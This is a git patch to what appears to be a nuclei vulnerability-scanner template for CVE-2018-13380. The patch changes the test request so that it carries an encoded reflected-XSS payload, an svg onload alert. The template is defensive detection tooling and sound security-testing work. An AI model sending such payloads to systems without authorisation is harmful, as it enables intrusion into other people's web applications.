From cc98318db2e05262319ed4916eca4fff11e84742 Mon Sep 17 00:00:00 2001 From: VIPIN BIHARI Date: Wed, 17 Feb 2021 20:14:40 +0530 Subject: [PATCH] Update CVE-2018-13380.yaml now browsers automatically, encodes <, > characters. --- cves/2018/CVE-2018-13380.yaml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cves/2018/CVE-2018-13380.yaml b/cves/2018/CVE-2018-13380.yaml index 1b5c342bc3..6941f8a8c1 100644 --- a/cves/2018/CVE-2018-13380.yaml +++ b/cves/2018/CVE-2018-13380.yaml @@ -12,7 +12,7 @@ info: requests: - method: GET path: - - "{{BaseURL}}/message?title=x&msg=%26%23" + - "{{BaseURL}}/message?title=x&msg=%26%23%3Csvg/onload=alert(1337)%3E" matchers-condition: and matchers: @@ -29,4 +29,4 @@ requests: - type: status status: - - 200 \ No newline at end of file + - 200